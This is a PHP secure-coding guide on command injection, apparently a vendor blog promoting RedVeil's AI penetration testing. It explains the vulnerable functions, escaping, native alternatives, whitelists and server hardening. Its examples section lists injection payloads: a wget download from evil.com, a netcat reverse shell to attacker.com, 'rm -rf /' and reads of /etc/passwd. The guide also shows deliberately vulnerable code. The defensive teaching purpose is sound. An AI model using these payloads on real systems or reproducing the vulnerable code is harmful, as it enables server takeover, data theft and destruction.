Command injection is one of the most severe vulnerabilities that can affect PHP applications. When user input reaches system command execution functions without proper sanitization, attackers can execute arbitrary commands on your server. This can lead to complete system compromise: data theft, malware installation, lateral movement within your network, and using your server to attack others. This guide covers how command injection vulnerabilities arise in PHP, the dangers of functions like shell_exec, exec, and system, and the sanitization techniques that prevent these attacks.
Understanding Command Injection
Command injection occurs when an application passes user-controllable data to a system shell. The shell interprets special characters in the input as command separators or operators, allowing attackers to inject additional commands.
Consider this vulnerable PHP code:
<?php
// VULNERABLE - User input directly in command
$filename = $_GET['file'];
$output = shell_exec("cat /var/log/" . $filename);
echo "<pre>$output</pre>";An attacker can exploit this with:
?file=access.log; cat /etc/passwd
The resulting command becomes:
cat /var/log/access.log; cat /etc/passwdThe semicolon acts as a command separator, allowing the attacker to execute any command they want. They could read sensitive files, create backdoors, or download and execute malware.
Dangerous PHP Functions
PHP provides several functions for command execution. Understanding each is crucial for identifying vulnerabilities.
shell_exec()
Executes a command and returns the complete output as a string:
<?php
// Returns all output
$output = shell_exec("ls -la");
// Equivalent backtick syntax - equally dangerous
$output = `ls -la`;exec()
Executes a command, optionally capturing output and return code:
<?php
// $output array contains each line of output
// $return_var contains the exit code
exec("whoami", $output, $return_var);system()
Executes a command and outputs the result directly:
<?php
// Output goes directly to browser/stdout
$last_line = system("ls -la", $return_var);passthru()
Executes a command and passes raw output through (useful for binary data):
<?php
// Raw binary output passes through
passthru("cat image.png");proc_open()
Opens a process with fine-grained control over I/O streams:
<?php
$descriptors = [
0 => ["pipe", "r"], // stdin
1 => ["pipe", "w"], // stdout
2 => ["pipe", "w"] // stderr
];
$process = proc_open("some_command", $descriptors, $pipes);popen()
Opens a process for reading or writing:
<?php
$handle = popen("ls -la", "r");
while (!feof($handle)) {
echo fgets($handle);
}
pclose($handle);All of these functions are dangerous when used with unsanitized user input.
Common Injection Patterns
Attackers use various shell metacharacters to inject commands:
Command Separators
; - Semicolon: cmd1 ; cmd2
| - Pipe: cmd1 | cmd2
|| - OR: cmd1 || cmd2 (runs cmd2 if cmd1 fails)
&& - AND: cmd1 && cmd2 (runs cmd2 if cmd1 succeeds)
& - Background: cmd1 & cmd2 (runs both)
Command Substitution
$(command) - Command substitution
`command` - Backtick substitution
Newlines and Carriage Returns
%0a - Newline (URL encoded)
%0d - Carriage return (URL encoded)
Example Attacks
<?php
// Vulnerable code
$ip = $_POST['ip'];
system("ping -c 4 " . $ip);
// Attack payloads:
// 127.0.0.1; rm -rf /
// 127.0.0.1 && wget http://evil.com/shell.php
// 127.0.0.1 | nc attacker.com 4444 -e /bin/bash
// $(cat /etc/passwd)
// 127.0.0.1`cat /etc/passwd`Input Sanitization for Commands
When you must execute commands with user input, proper sanitization is essential.
escapeshellarg()
Escapes a string to be used as a shell argument:
<?php
$filename = $_GET['file'];
// escapeshellarg adds quotes and escapes special characters
$safe_filename = escapeshellarg($filename);
$output = shell_exec("cat " . $safe_filename);
// Input: file.txt; rm -rf /
// Becomes: 'file.txt; rm -rf /'
// The entire string is treated as a single argumentescapeshellcmd()
Escapes shell metacharacters in a command string:
<?php
$command = $_GET['cmd'];
// escapeshellcmd escapes: &#;`|*?~<>^()[]{}$\, \x0A, \xFF
$safe_command = escapeshellcmd($command);
shell_exec($safe_command);Warning: escapeshellcmd() is less safe than escapeshellarg(). It still allows the command to be executed—it just escapes metacharacters. Attackers may still find ways to abuse allowed functionality.
Combining Both Functions
For maximum safety when you control the command but not the arguments:
<?php
function safe_ping($host) {
// Validate format first
if (!filter_var($host, FILTER_VALIDATE_IP)) {
if (!filter_var($host, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME)) {
throw new InvalidArgumentException("Invalid host");
}
}
// escapeshellarg wraps in quotes and escapes
$safe_host = escapeshellarg($host);
// Fixed command, escaped argument
return shell_exec("ping -c 4 " . $safe_host);
}Better Approaches: Avoiding Shell Commands
The safest approach is avoiding shell commands entirely. PHP provides native functions for most common tasks.
File Operations
Instead of shell commands:
<?php
// AVOID
$contents = shell_exec("cat " . escapeshellarg($file));
$files = shell_exec("ls " . escapeshellarg($dir));
shell_exec("rm " . escapeshellarg($file));
shell_exec("cp " . escapeshellarg($src) . " " . escapeshellarg($dst));
// USE INSTEAD
$contents = file_get_contents($file);
$files = scandir($dir);
unlink($file);
copy($src, $dst);Image Processing
Use libraries instead of ImageMagick shell commands:
<?php
// AVOID
shell_exec("convert " . escapeshellarg($input) . " -resize 100x100 " . escapeshellarg($output));
// USE INSTEAD - Imagick extension
$image = new Imagick($input);
$image->resizeImage(100, 100, Imagick::FILTER_LANCZOS, 1);
$image->writeImage($output);
// OR GD library
$src = imagecreatefromjpeg($input);
$dst = imagescale($src, 100, 100);
imagejpeg($dst, $output);Network Operations
Use PHP's socket functions:
<?php
// AVOID
$result = shell_exec("ping -c 1 " . escapeshellarg($host));
// USE INSTEAD - Check if host is reachable
function checkHost($host, $port = 80, $timeout = 5) {
$connection = @fsockopen($host, $port, $errno, $errstr, $timeout);
if ($connection) {
fclose($connection);
return true;
}
return false;
}Archive Operations
Use PHP's built-in archive classes:
<?php
// AVOID
shell_exec("unzip " . escapeshellarg($archive) . " -d " . escapeshellarg($dest));
// USE INSTEAD
$zip = new ZipArchive();
if ($zip->open($archive) === TRUE) {
// Validate destination path
$realDest = realpath($dest);
// Extract with path traversal check
for ($i = 0; $i < $zip->numFiles; $i++) {
$filename = $zip->getNameIndex($i);
$targetPath = $realDest . '/' . $filename;
// Prevent path traversal
if (strpos(realpath(dirname($targetPath)), $realDest) !== 0) {
throw new Exception("Invalid path in archive");
}
}
$zip->extractTo($dest);
$zip->close();
}Whitelist Approach
When shell execution is unavoidable, use a whitelist approach:
<?php
class SafeCommandRunner {
private const ALLOWED_COMMANDS = [
'pdf_convert' => '/usr/bin/wkhtmltopdf',
'image_optimize' => '/usr/bin/optipng',
'video_thumbnail' => '/usr/bin/ffmpeg',
];
public function run(string $commandKey, array $args): string {
if (!isset(self::ALLOWED_COMMANDS[$commandKey])) {
throw new InvalidArgumentException("Command not allowed");
}
$binary = self::ALLOWED_COMMANDS[$commandKey];
// Validate and escape each argument
$safeArgs = array_map(function($arg) {
// Additional validation can go here
return escapeshellarg($arg);
}, $args);
$command = $binary . ' ' . implode(' ', $safeArgs);
$output = [];
$returnCode = 0;
exec($command, $output, $returnCode);
if ($returnCode !== 0) {
throw new RuntimeException("Command failed with code: $returnCode");
}
return implode("\n", $output);
}
}
// Usage
$runner = new SafeCommandRunner();
$result = $runner->run('pdf_convert', [$inputUrl, $outputPath]);Defense in Depth
Layer multiple protections:
Disable Dangerous Functions
In php.ini, disable functions you don't need:
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_sourceRun PHP with Limited Privileges
Configure PHP-FPM to run as a restricted user:
; pool.d/www.conf
user = www-data
group = www-data
; Security settings
php_admin_value[disable_functions] = exec,passthru,shell_exec,system
php_admin_flag[allow_url_fopen] = offUse AppArmor or SELinux
Restrict what PHP processes can access:
# Example AppArmor profile snippet
/usr/bin/php {
# Deny shell execution
deny /bin/** x,
deny /usr/bin/** x,
# Allow specific binaries if needed
/usr/bin/convert ix,
}
Input Validation Before Sanitization
Always validate input format before even considering sanitization:
<?php
function validateFilename(string $filename): bool {
// Only allow alphanumeric, dash, underscore, dot
if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $filename)) {
return false;
}
// No path traversal
if (strpos($filename, '..') !== false) {
return false;
}
// Reasonable length
if (strlen($filename) > 255) {
return false;
}
return true;
}
function processFile(string $userFilename): string {
if (!validateFilename($userFilename)) {
throw new InvalidArgumentException("Invalid filename");
}
// Even after validation, still use safe file operations
$path = '/var/data/' . $userFilename;
// Verify file is within expected directory
$realPath = realpath($path);
if ($realPath === false || strpos($realPath, '/var/data/') !== 0) {
throw new InvalidArgumentException("Invalid path");
}
return file_get_contents($realPath);
}Why Traditional Pentesting Falls Short
Command injection vulnerabilities can be subtle. They may exist in rarely-used code paths, triggered only by specific input combinations. Manual penetration testers face challenges in identifying all command execution points in a PHP application, especially in large codebases with multiple entry points.
Traditional testing is also point-in-time. New code introducing command execution, or changes to existing command-building logic, may introduce vulnerabilities after the assessment. The window between assessments leaves applications exposed.
Additionally, command injection payloads vary by operating system and shell. Testers must try multiple payload variants to identify vulnerabilities, a time-consuming process that automated tools can perform more thoroughly.
How Agentic Testing Identifies Command Injection
RedVeil's AI-powered penetration testing autonomously identifies command injection vulnerabilities in PHP applications. RedVeil's agents analyze your application's endpoints, identify parameters that might reach command execution functions, and test with a comprehensive set of injection payloads.
Unlike static analysis that flags all uses of exec() regardless of context, RedVeil validates vulnerabilities by demonstrating actual command execution. When it finds a command injection point, it shows exactly what commands can be executed and the impact on your system.
RedVeil runs on-demand, fitting into your development workflow. After deploying code changes, launch an assessment and receive validated findings within hours. Each finding includes reproduction steps, impact analysis, and specific remediation guidance for PHP applications.
Conclusion
Command injection in PHP is a critical vulnerability that can lead to complete system compromise. Functions like shell_exec, exec, and system are powerful but dangerous when combined with user input. The best defense is avoiding shell commands entirely, using PHP's native functions for file operations, image processing, and other common tasks. When shell execution is unavoidable, strict input validation, proper escaping with escapeshellarg(), and a whitelist approach minimize risk.
Traditional security testing struggles to comprehensively cover all command execution paths. On-demand, agentic penetration testing from RedVeil provides autonomous, intelligent assessment that identifies command injection vulnerabilities before attackers do.
Start securing your PHP applications with RedVeil at https://app.redveil.ai/ and ensure your systems are protected against command injection attacks.